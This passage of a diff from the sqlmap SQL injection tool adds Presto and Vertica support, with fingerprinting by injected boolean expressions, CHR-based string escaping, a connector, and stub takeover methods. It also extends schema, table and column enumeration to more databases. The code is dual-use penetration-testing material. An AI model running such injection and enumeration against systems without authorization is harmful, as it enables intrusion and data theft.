# Reference: https://prestodb.io/docs/current/release/release-0.193.html
|
||||
elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.193")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.183.html
|
||||
elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.183")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.171.html
|
||||
elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.171")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.162.html
|
||||
elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.162")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.151.html
|
||||
elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.151")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.143.html
|
||||
elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.143")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.137.html
|
||||
elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.137")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.130.html
|
||||
elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.130")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.115.html
|
||||
elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.115")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.100.html
|
||||
elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.100")
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.70.html
|
||||
elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.70")
|
||||
else:
|
||||
Backend.setVersion("< 0.100")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
22
plugins/dbms/presto/syntax.py
Normal file
22
plugins/dbms/presto/syntax.py
Normal file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.convert import getOrds
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "||".join("CHR(%d)" % _ for _ in getOrds(value))
|
||||
|
||||
return Syntax._escape(expression, quote, escaper)
|
||||
28
plugins/dbms/presto/takeover.py
Normal file
28
plugins/dbms/presto/takeover.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def osCmd(self):
|
||||
errMsg = "on Presto it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on Presto it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on Presto it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on Presto it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
30
plugins/dbms/vertica/__init__.py
Normal file
30
plugins/dbms/vertica/__init__.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import VERTICA_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.vertica.enumeration import Enumeration
|
||||
from plugins.dbms.vertica.filesystem import Filesystem
|
||||
from plugins.dbms.vertica.fingerprint import Fingerprint
|
||||
from plugins.dbms.vertica.syntax import Syntax
|
||||
from plugins.dbms.vertica.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Vertica methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = VERTICA_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.VERTICA] = Syntax.escape
|
||||
59
plugins/dbms/vertica/connector.py
Normal file
59
plugins/dbms/vertica/connector.py
Normal file
@@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import vertica_python
|
||||
except:
|
||||
pass
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: https://github.com/vertica/vertica-python
|
||||
User guide: https://github.com/vertica/vertica-python/blob/master/README.md
|
||||
API: https://www.python.org/dev/peps/pep-0249/
|
||||
License: Apache 2.0
|
||||
"""
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout)
|
||||
except vertica_python.OperationalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except vertica_python.ProgrammingError as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
except vertica_python.InternalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
||||
16
plugins/dbms/vertica/enumeration.py
Normal file
16
plugins/dbms/vertica/enumeration.py
Normal file
@@ -0,0 +1,16 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import logger
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getRoles(self, *args, **kwargs):
|
||||
warnMsg = "on Vertica it is not possible to enumerate the user roles"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
11
plugins/dbms/vertica/filesystem.py
Normal file
11
plugins/dbms/vertica/filesystem.py
Normal file
@@ -0,0 +1,11 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
pass
|
||||
106
plugins/dbms/vertica/fingerprint.py
Normal file
106
plugins/dbms/vertica/fingerprint.py
Normal file
@@ -0,0 +1,106 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import VERTICA_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.VERTICA)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.VERTICA
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES):
|
||||
setDbms(DBMS.VERTICA)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.VERTICA
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: Vertica works too without the CONVERT_TO()
|
||||
result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.VERTICA
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.VERTICA)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
infoMsg = "actively fingerprinting %s" % DBMS.VERTICA
|
||||
logger.info(infoMsg)
|
||||
|
||||
if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 9.0")
|
||||
else:
|
||||
Backend.setVersion("< 9.0")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
22
plugins/dbms/vertica/syntax.py
Normal file
22
plugins/dbms/vertica/syntax.py
Normal file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.convert import getOrds
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value))
|
||||
|
||||
return Syntax._escape(expression, quote, escaper)
|
||||
28
plugins/dbms/vertica/takeover.py
Normal file
28
plugins/dbms/vertica/takeover.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def osCmd(self):
|
||||
errMsg = "on Vertica it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on Vertica it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on Vertica it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on Vertica it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
@@ -26,6 +26,7 @@ from lib.core.common import pushValue
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import safeSQLIdentificatorNaming
|
||||
from lib.core.common import safeStringFormat
|
||||
from lib.core.common import singleTimeLogMessage
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
@@ -47,6 +48,8 @@ from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import CURRENT_DB
|
||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||
from lib.core.settings import UPPER_CASE_DBMSES
|
||||
from lib.core.settings import VERTICA_DEFAULT_SCHEMA
|
||||
from lib.request import inject
|
||||
from lib.techniques.union.use import unionUse
|
||||
from lib.utils.brute import columnExists
|
||||
@@ -76,11 +79,19 @@ class Databases(object):
|
||||
if not kb.data.currentDb:
|
||||
kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL):
|
||||
if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA):
|
||||
kb.data.currentDb = VERTICA_DEFAULT_SCHEMA
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
|
||||
warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
|
||||
warnMsg += "schema names for enumeration as the counterpart to database "
|
||||
warnMsg += "names on other DBMSes"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
||||
warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
|
||||
warnMsg += "user names for enumeration as the counterpart to database "
|
||||
warnMsg += "names on other DBMSes"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
return kb.data.currentDb
|
||||
|
||||
@@ -96,7 +107,7 @@ class Databases(object):
|
||||
warnMsg += "names will be fetched from 'mysql' database"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
|
||||
warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
|
||||
warnMsg += "for enumeration as the counterpart to database "
|
||||
warnMsg += "names on other DBMSes"
|
||||
@@ -104,6 +115,14 @@ class Databases(object):
|
||||
|
||||
infoMsg = "fetching database (schema) names"
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
||||
warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms()
|
||||
warnMsg += "for enumeration as the counterpart to database "
|
||||
warnMsg += "names on other DBMSes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
infoMsg = "fetching database (user) names"
|
||||
|
||||
else:
|
||||
infoMsg = "fetching database names"
|
||||
|
||||
@@ -136,7 +155,7 @@ class Databases(object):
|
||||
errMsg = "unable to retrieve the number of databases"
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
@@ -203,7 +222,10 @@ class Databases(object):
|
||||
logger.error(errMsg)
|
||||
bruteForce = True
|
||||
|
||||
elif Backend.isDbms(DBMS.ACCESS):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
|
||||
bruteForce = True
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
||||
try:
|
||||
tables = self.getTables(False)
|
||||
except SqlmapNoneDataException:
|
||||
@@ -211,7 +233,7 @@ class Databases(object):
|
||||
|
||||
if not tables:
|
||||
errMsg = "cannot retrieve table names, "
|
||||
errMsg += "back-end DBMS is Access"
|
||||
errMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms()
|
||||
logger.error(errMsg)
|
||||
bruteForce = True
|
||||
else:
|
||||
@@ -220,7 +242,7 @@ class Databases(object):
|
||||
if conf.db == CURRENT_DB:
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
||||
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.db = conf.db.upper()
|
||||
|
||||
if conf.db:
|
||||
@@ -251,7 +273,7 @@ class Databases(object):
|
||||
|
||||
return kb.data.cachedTables
|
||||
|
||||
message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
|
||||
message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
|
||||
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
||||
|
||||
if choice == 'N':
|
||||
@@ -307,7 +329,7 @@ class Databases(object):
|
||||
if conf.getComments:
|
||||
_ = queries[Backend.getIdentifiedDbms()].table_comment
|
||||
if hasattr(_, "query"):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE):
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
|
||||
else:
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))
|
||||
@@ -343,7 +365,7 @@ class Databases(object):
|
||||
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI):
|
||||
query = rootQuery.blind.count
|
||||
else:
|
||||
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
|
||||
@@ -364,13 +386,13 @@ class Databases(object):
|
||||
|
||||
tables = []
|
||||
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if Backend.isDbms(DBMS.SYBASE):
|
||||
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI):
|
||||
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % index
|
||||
@@ -389,7 +411,7 @@ class Databases(object):
|
||||
if conf.getComments:
|
||||
_ = queries[Backend.getIdentifiedDbms()].table_comment
|
||||
if hasattr(_, "query"):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE):
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
|
||||
else:
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))
|
||||
@@ -449,7 +471,7 @@ class Databases(object):
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
elif conf.db is not None:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.db = conf.db.upper()
|
||||
|
||||
if ',' in conf.db:
|
||||
@@ -460,7 +482,7 @@ class Databases(object):
|
||||
conf.db = safeSQLIdentificatorNaming(conf.db)
|
||||
|
||||
if conf.col:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.col = conf.col.upper()
|
||||
|
||||
colList = conf.col.split(',')
|
||||
@@ -476,7 +498,7 @@ class Databases(object):
|
||||
colList = [_ for _ in colList if _]
|
||||
|
||||
if conf.tbl:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.tbl = conf.tbl.upper()
|
||||
|
||||
tblList = conf.tbl.split(',')
|
||||
@@ -509,9 +531,9 @@ class Databases(object):
|
||||
logger.error(errMsg)
|
||||
bruteForce = True
|
||||
|
||||
elif Backend.isDbms(DBMS.ACCESS):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||
errMsg = "cannot retrieve column names, "
|
||||
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
|
||||
errMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms()
|
||||
logger.error(errMsg)
|
||||
bruteForce = True
|
||||
|
||||
@@ -542,7 +564,7 @@ class Databases(object):
|
||||
|
||||
return kb.data.cachedColumns
|
||||
|
||||
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
|
||||
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
|
||||
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
||||
|
||||
if choice == 'N':
|
||||
@@ -580,11 +602,11 @@ class Databases(object):
|
||||
condQueryStr = "%%s%s" % colCondParam
|
||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO):
|
||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
query += condQuery
|
||||
|
||||
@@ -660,7 +682,7 @@ class Databases(object):
|
||||
if conf.getComments:
|
||||
_ = queries[Backend.getIdentifiedDbms()].column_comment
|
||||
if hasattr(_, "query"):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
|
||||
else:
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))
|
||||
@@ -722,11 +744,11 @@ class Databases(object):
|
||||
condQueryStr = "%%s%s" % colCondParam
|
||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO):
|
||||
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
query += condQuery
|
||||
|
||||
@@ -789,7 +811,7 @@ class Databases(object):
|
||||
continue
|
||||
|
||||
for index in getLimitRange(count):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
field = None
|
||||
@@ -797,7 +819,14 @@ class Databases(object):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
|
||||
field = None
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
elif Backend.isDbms(DBMS.MIMERSQL):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
|
||||
field = None
|
